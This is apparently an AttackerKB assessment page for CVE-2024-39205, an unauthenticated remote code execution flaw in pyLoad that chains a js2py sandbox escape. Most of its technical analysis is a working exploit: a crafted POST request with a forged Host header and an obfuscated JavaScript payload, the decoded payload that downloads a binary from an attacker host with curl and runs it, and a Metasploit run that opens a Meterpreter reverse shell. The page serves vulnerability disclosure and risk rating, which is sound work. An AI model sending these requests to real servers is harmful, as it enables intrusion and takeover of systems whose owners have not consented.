Moderate
CVE-2024-39205
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Moderate
(1 user assessed)High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.
Add Assessment
Ratings
-
Attacker ValueMedium
-
ExploitabilityHigh
Technical Analysis
Pyload is an open-source download manager designed to automate file downloads from various online sources. CVE-2024-39205 is a remote
code execution vulnerability in Pyload (<=0.5.0b3.dev85) which can’t be talked about without CVE-2024-28397. CVE-2024-28397 is a sandbox escape vulnerability in js2py (<=0.74). Pyload is vulnerable because it exposes the vulnerable js2py functionality on its /flash/addcrypted2
API endpoint. So they’re essentially the same vulnerability, one is the original vulnerability in the package (CVE-2024-28397) and the other is the vulnerable package in an application being used in a vulnerable way (CVE-2024-39205). For a deeper dive on how the sandbox escape works checkout the AKB Article.
What makes this Pyload nicely exploitable is that the vulnerable endpoint, /flash/addcrypted2
, was designed to only accept connections from localhost. However, by manipulating the HOST header (and setting it manually to 127.0.0.1:9666
) we can bypass this restriction in order to access the API to achieve unauthenticatecd RCE.
If we spin up the following vulnerable Pyload docker container:
docker run -d \ --name=pyload-ng \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Etc/UTC \ -p 8000:8000 \ -p 9666:9666 \ --restart unless-stopped \ lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
And then if we send the following POST request:
POST /flash/addcrypted2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: 3151 crypted=MQ%3d%3d&jk=let%20gn_vuk%20%3d%20String.fromCharCode%28%20%200x63%2c%20117%2c%20114%2c%20108%2c%200x20%2c%200x2d%2c%200x73%2c%20111%2c%20040%2c%20056%2c%20057%2c%200x66%2c%200x42%2c%200x54%2c%200111%2c%200x79%2c%20110%2c%2099%2c%20108%2c%20040%2c%20104%2c%20116%2c%200164%2c%200160%2c%20072%2c%20057%2c%2047%2c%200x31%2c%2055%2c%200x32%2c%200x2e%2c%2049%2c%200x36%2c%200x2e%2c%20061%2c%200x39%2c%2057%2c%2046%2c%20061%2c%200x3a%2c%200x38%2c%20060%2c%2056%2c%200x30%2c%20057%2c%2056%2c%2081%2c%20118%2c%2066%2c%200125%2c%200x50%2c%200x32%2c%20115%2c%200125%2c%200105%2c%200x6d%2c%200x73%2c%200161%2c%2055%2c%20114%2c%200x5f%2c%200172%2c%200x65%2c%200110%2c%200x4b%2c%2057%2c%200x41%2c%2059%2c%2032%2c%200x63%2c%20104%2c%200x6d%2c%200157%2c%20100%2c%2032%2c%200x2b%2c%200x78%2c%200x20%2c%2046%2c%20057%2c%200146%2c%2066%2c%200124%2c%200111%2c%200171%2c%200x6e%2c%200x63%2c%20108%2c%2059%2c%2032%2c%20056%2c%200x2f%2c%200x66%2c%200x42%2c%200124%2c%200x49%2c%20121%2c%200x6e%2c%2099%2c%200154%2c%2032%2c%20046%20%29%0alet%20e_HN%2c%20hnktIzX%2c%20lLvLEoCSOI%0alet%20aCfc8WvqK%2c%20hOq75PVaOuLE%0a%0as5YzR%20%3d%20String.fromCharCode%28%20%200x5f%2c%200137%2c%200x62%2c%2097%2c%200163%2c%200145%2c%200x5f%2c%200x5f%20%29%0asxNn9E7%20%3d%20String.fromCharCode%28%20%200137%2c%200137%2c%200147%2c%20101%2c%200x74%2c%200141%2c%200x74%2c%200164%2c%20114%2c%200151%2c%200142%2c%20117%2c%200164%2c%20101%2c%200x5f%2c%200137%20%29%0ae_HN%20%3d%20Object.getOwnPropertyNames%28%7b%7d%29%0ahnktIzX%20%3d%20e_HN%5bsxNn9E7%5d%0alLvLEoCSOI%20%3d%20hnktIzX%28String.fromCharCode%28%20%2095%2c%200137%2c%200x67%2c%200x65%2c%20116%2c%200x61%2c%200164%2c%200164%2c%200x72%2c%20105%2c%200142%2c%20117%2c%20116%2c%20101%2c%200x5f%2c%200137%20%29%29%0ahOq75PVaOuLE%20%3d%20lLvLEoCSOI%28String.fromCharCode%28%20%2095%2c%200137%2c%200143%2c%200154%2c%2097%2c%20115%2c%200163%2c%2095%2c%2095%20%29%29%5bs5YzR%5d%0aaCfc8WvqK%20%3d%20hOq75PVaOuLE%5bsxNn9E7%5d%0acF_EUy%20%3d%20String.fromCharCode%28%20%2095%2c%200x5f%2c%200163%2c%200165%2c%200142%2c%200143%2c%200x6c%2c%2097%2c%20115%2c%200163%2c%200x65%2c%200x73%2c%2095%2c%200x5f%20%29%3b%0a%0afunction%20nNmzXJ4%28hrx%29%20%7b%0a%20%20%20%20let%20ulg4%3b%0a%20%20%20%20for%28let%20i57HuIp%20in%20hrx%5bcF_EUy%5d%28%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20u5QFJXSf%20%3d%20hrx%5bcF_EUy%5d%28%29%5bi57HuIp%5d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__module__%20%3d%3d%20unescape%28%22%2573%2575%2562%2570%2572%22%20%2b%20%22%256f%2563%2565%2573%2573%22%29%20%26%26%20u5QFJXSf.__name__%20%3d%3d%20String.fromCharCode%28%20%2080%2c%200x6f%2c%200160%2c%20101%2c%200x6e%20%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20u5QFJXSf%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__name__%20%21%3d%20String.fromCharCode%28%20%20116%2c%200x79%2c%20112%2c%200145%20%29%20%26%26%20%28ulg4%20%3d%20nNmzXJ4%28u5QFJXSf%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20ulg4%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%7d%0a%0alLvLEoCSOI%20%3d%20nNmzXJ4%28hOq75PVaOuLE%29%28gn_vuk%2c%20-1%2c%20null%2c%20-1%2c%20-1%2c%20-1%2c%20null%2c%20null%2c%20true%29.communicate%28%29%0a
With a listener setup, we will receive a call back from our payload.
Lets analyze the contents of the POST request. We can see we trick the API into processing our request by setting the Host header: Host: 127.0.0.1:9666
. The POST parameter crypted
is just a random 4 characters base64 encoded, quite inconsequential. The jk
parameter contains the javascript payload (which technically exploits CVE-2024-28397) which has been obfuscated as well as URL encoded.
The plain text version of the payload is as follows (taken from CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py::
let cmd = "curl -so ./qOjRpLcmT http://172.16.199.1:8080/8QvBUP2sUEmsq7r_zeHK9A; chmod +x ./qOjRpLcmT; ./qOjRpLcmT & " let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11
Again, for a deeper dive into what’s going on in the javascript above check out CVE-2024-28397.
Attacker Value and Exploitability
This vulnerability is pretty easy to exploit, requires no authentication and is vulnerable in it’s default configuration. Pyload has 3.3k stars on github meaning that the plugin is being used in some capacity. Added context: I decided to give the attacker rating (3/5), one less than the rating I gave for the js2py sandbox escape CVE-2024-28397, because this vulnerability is patched and the value it can provide to attackers is limited to the Pyload application. The js2py bug is not patched and could provide attackers value in many other applications the library is used in.
Metasploit Module in Action
msf6 > use linux/http/pyload_js2py_cve_2024_39205 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 9666 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Successfully tested command injection. [*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp [*] Sending stage (3045380 bytes) to 172.16.199.1 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800 meterpreter > getruid [-] Unknown command: getruid. Did you mean getuid? Run the help command for more details. meterpreter > getuid Server username: abc meterpreter > sysinfo Computer : 172.17.0.2 OS : (Linux 6.10.11-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: